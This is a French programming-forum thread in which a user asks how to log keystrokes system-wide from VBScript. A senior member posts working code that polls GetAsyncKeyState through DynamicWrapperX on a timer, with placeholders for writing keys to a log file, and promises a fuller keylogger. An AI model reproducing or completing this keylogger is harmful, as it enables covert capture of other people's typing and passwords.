IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

VBScript Discussion :

VBS avec fonctions user32.dll


Sujet :

VBScript

  1. #1
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut VBS avec fonctions user32.dll
    J'ai trouvé ces fonctions dans la dll user32.dll:

    GetKeyState

    GetKeyboardState

    GetAsyncKeyState

    Est-il possible de faire un petit script récupérant les touches appuyées pendant que le script tourne?

    Si quelqu'un a une idée de comment utiliser les fonctions ou un petit exemple... Merci

  2. #2
    Expert éminent sénior


    Profil pro
    Inscrit en
    Juin 2003
    Messages
    14 008
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 14 008
    Points : 20 038
    Points
    20 038

  3. #3
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Merci !

    Petite question en passant... DynamicWrapperX est le seul moyen d'accéder aux API Win32 en VBSCript ou JScript ?

    Car cela implique que tous les postes utilisant mon script devront avoir DynamicWrapperX enregistré...

    Y a-t-il en moyen d'accéder aux fonctions sans utiliser de DLL externes ?

  4. #4
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    bonjour,
    DynamicWrapperX est le seul moyen d'accéder aux API Win32 en VBSCript ou JScript ?
    non, il existe deux ou trois autres wrappers sur le net
    regarde notamment le premier lien de ce post
    mais c'est le plus récent et le plus complet notamment parce qu'il supporte les callbacks
    Car cela implique que tous les postes utilisant mon script devront avoir DynamicWrapperX enregistré...
    oui
    Y a-t-il en moyen d'accéder aux fonctions sans utiliser de DLL externes ?
    nativement, vbscript et jscript n'ont pas d'accès direct aux fonctions des dll comme vb6 ou même le vba
    j'ai quelque part un projet d' "extended" windows scripting host avec support natif gui et dll, donc sans enregistrement dans la bdr,
    mais j'ai pas trop le temps de m'en occuper
    peut-être dans quelques semaines...
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  5. #5
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Citation Envoyé par omen999 Voir le message
    bonjour,

    peut-être dans quelques semaines...
    C'est bon je vais tester avec DynamicWrapperX
    Merci bcp pour ces info omen999.

    Par contre avant de me lancer je voudrais savoir si ce que je veux faire est possible ? .
    Je voudrais faire un script qui enregistre les touches appuyées du clavier (même si je suis sur notepad en train d'écrire).
    Je pense utiliser la fonction keybd_event() dans user32.dll mais est-ce la meilleure façon de faire ?

    Meilleures idées et exemples sont les bien venus.

    Merci

  6. #6
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    Je pense utiliser la fonction keybd_event() dans user32.dll
    non, cette fonction sert à simuler l'envoi d'une touche ou d'une combinaison de touches pas d'enregistrer l'activité du clavier
    regarde plutôt du côté de la fonction getasynckeystate en le combinant avec un timer pour éviter de mettre le cpu à 100%
    cela dit, le keylogger en vbscript, c'est un peu un vieux fantasme de scriptkiddie mais pourquoi pas
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  7. #7
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Ouai la fonction que j'avais cité au tout début le problème c'est que tout les exemple utilisant cette fonction sont fait en VB il n'y a rien en VBS... personne n'a de petite exemple... pour débuter au moin (en VBS bien sur !) ?

  8. #8
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    il n'y a rien en VBS.
    eh oui, à ma connaissance, ça n'a pas été encore fait
    c'est l'occasion pour toi de réaliser une grande première
    avec les indications qui t'ont été données
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  9. #9
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Citation Envoyé par omen999 Voir le message
    grande première
    Ca me semble quelque chose de pas super rechercher ce que je demande...
    et pourtant rien n'as été fait ?... Parce que ce n'est pas possible ou bien ?

    Tu parles de "fantasme" de "sciptkiddie" de "grande première" ... j'ai l'impression que tu te moques de moi

    Peux-tu me dire sincérement si cela est réalisable en vbs ?

  10. #10
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    j'ai l'impression que tu te moques de moi
    non mais je crois surtout que tu cherches quelqu'un pour faire le taff à ta place ce qui n'est pas trop dans l'esprit de ce forum enfin je crois
    Peux-tu me dire sincérement si cela est réalisable en vbs ?
    si je te réponds juste oui on va encore me trouver trop laconique...
    mais comme j'ai regardé le problème, autant en faire profiter tout le monde
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    Dim Wrap, pAddr, pRef
    Dim flagLoop
     
    Private Function GetCapsLock()
      GetCapsLock = CBool(Wrap.GetKeyState(20))
    End Function
     
    Private Function GetShift()
      GetShift = CBool(Wrap.GetAsyncKeyState(16))
    End Function
     
    Sub TimerProc(hWnd, uMsg, idEvent, dwTime)
    Const Pressed = -32767
    Dim i
    Dim KeyPressed
      For i = 65 to 90
        If Wrap.GetAsyncKeyState(i) = Pressed Then
          If GetCapsLock() = True Then
            If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
          Else
            If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
          End If
          'placer ici le code d'écriture dans le fichier log.txt
          MsgBox KeyPressed  
        End If
      Next
    End Sub
     
     
     
    Set WshShell = WScript.CreateObject("WScript.Shell")
    Set Wrap = CreateObject("DynamicWrapperX")
    Set pRef = GetRef("TimerProc")
     
    Wrap.Register "user32.dll", "SetTimer", "i=llll", "r=l"
    Wrap.Register "user32.dll", "KillTimer", "i=ll", "r=l"    
    Wrap.Register "user32.dll", "GetAsyncKeyState", "i=l", "r=n"
    Wrap.Register "user32.dll", "GetKeyState", "i=l", "r=n"
     
    'créer ici le fichier log.txt
    pAddr = Wrap.RegisterCallback(pRef, "i=llll", "r=l")
    Wrap.SetTimer 0, 0, 100, pAddr 
    flagLoop=True
    While flagLoop
       WScript.Sleep 200
    Wend
    il reste juste le code de gestion du fichier log.txt à écrire
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  11. #11
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Je ne veux pas qu'on fasse le travail à ma place...
    Je voulais juste une bonne piste de départ puisque ça fait que 3 jours que je m'intéresse au vbs...

    Bref j'ai encore une question ^^ ! Est-il possible d'utiliser rundll32.exe et de faire ce script en batch ? (.bat)
    Ce qui permetterais de ne pas utiliser de DLL externe comme dynwrapx.dll.

    Merci bcp en tout cas !

  12. #12
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    Bref j'ai encore une question ^^ ! Est-il possible d'utiliser rundll32.exe et de faire ce script en batch ? (.bat)
    non
    quant au keylogger, j'ai continué sur ma lancée et je vais faire une contrib avec un code + complet
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  13. #13
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Possible d'avoir les raisons précises du "non" ? histoire de bien comprendre
    (Car on peut accéder au fonction de user32dll avec rundll32.exe no ?)

    Cool pour la contrib ! Ca plaira surement à bcp de monde

  14. #14
    Rédacteur
    Avatar de omen999
    Profil pro
    Inscrit en
    Février 2006
    Messages
    1 296
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2006
    Messages : 1 296
    Points : 3 549
    Points
    3 549
    Par défaut
    Possible d'avoir les raisons précises du "non" ?
    une foultitude. une au hasard: les fichiers batch ignorent la notion de fonction qui est indispensable pour définir le timer dont le code lira l'état du clavier
    d'une façon générale, les batchs sont destinés au traitement par lots et c'est déjà assez scabreux de faire du keylogging en vbscript
    la vraie question serait plutôt de se demander s'il est possible de faire tourner un keylogger vbscript sans inscription préalable du composant dynamicwrapper dans la bdr
    réponse peut-être un jour...
    nomen omen, nemo non omen - Consultez la FAQ VBScript et les cours et tutoriels VBScript
    le plus terrible lorsqu'une voiture renverse un piéton, c'est que ce sont les freins qui hurlent. (ramón)
    pas de questions techniques par mp

  15. #15
    Membre régulier
    Profil pro
    Inscrit en
    Février 2008
    Messages
    252
    Détails du profil
    Informations personnelles :
    Localisation : Suisse

    Informations forums :
    Inscription : Février 2008
    Messages : 252
    Points : 124
    Points
    124
    Par défaut
    Citation Envoyé par omen999 Voir le message
    les fichiers batch ignorent la notion de fonction
    Pourtant RUNDLL32.EXE USER32.DLL,SwapMouseButton marche, ca bloque lorsqu'il y a des paramètres ou des valeurs en retour plutôt no ?

    d'une façon générale, les batchs sont destinés au traitement par lots et c'est déjà assez scabreux de faire du keylogging en vbscript
    J'avoue que c'est tordu de vouloir faire ça en vbs. C'est juste que je suis curieux et je trouve intéressant de pouvoir se rapprocher de chose qu'on fait d'habitude avec du code compilé

    la vraie question serait plutôt de se demander s'il est possible de faire tourner un keylogger vbscript sans inscription préalable du composant dynamicwrapper dans la bdr
    réponse peut-être un jour...
    T'y a déjà répondu

    nativement, vbscript et jscript n'ont pas d'accès direct aux fonctions des dll comme vb6 ou même le vba
    j'ai quelque part un projet d' "extended" windows scripting host avec support natif gui et dll, donc sans enregistrement dans la bdr,
    mais j'ai pas trop le temps de m'en occuper
    peut-être dans quelques semaines...

Discussions similaires

  1. Réponses: 0
    Dernier message: 07/12/2011, 10h01
  2. Déplacer une fenêtre avec les API user32.dll.
    Par jmix90 dans le forum Général Dotnet
    Réponses: 0
    Dernier message: 11/06/2009, 11h42
  3. [XP] Problème avec user32.dll
    Par fally dans le forum Windows XP
    Réponses: 8
    Dernier message: 11/06/2008, 15h01
  4. Réponses: 3
    Dernier message: 16/06/2004, 11h26
  5. [VStudio 6] pb avec fonctions dans une DLL
    Par MogDeChNord dans le forum MFC
    Réponses: 8
    Dernier message: 08/01/2004, 08h57

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo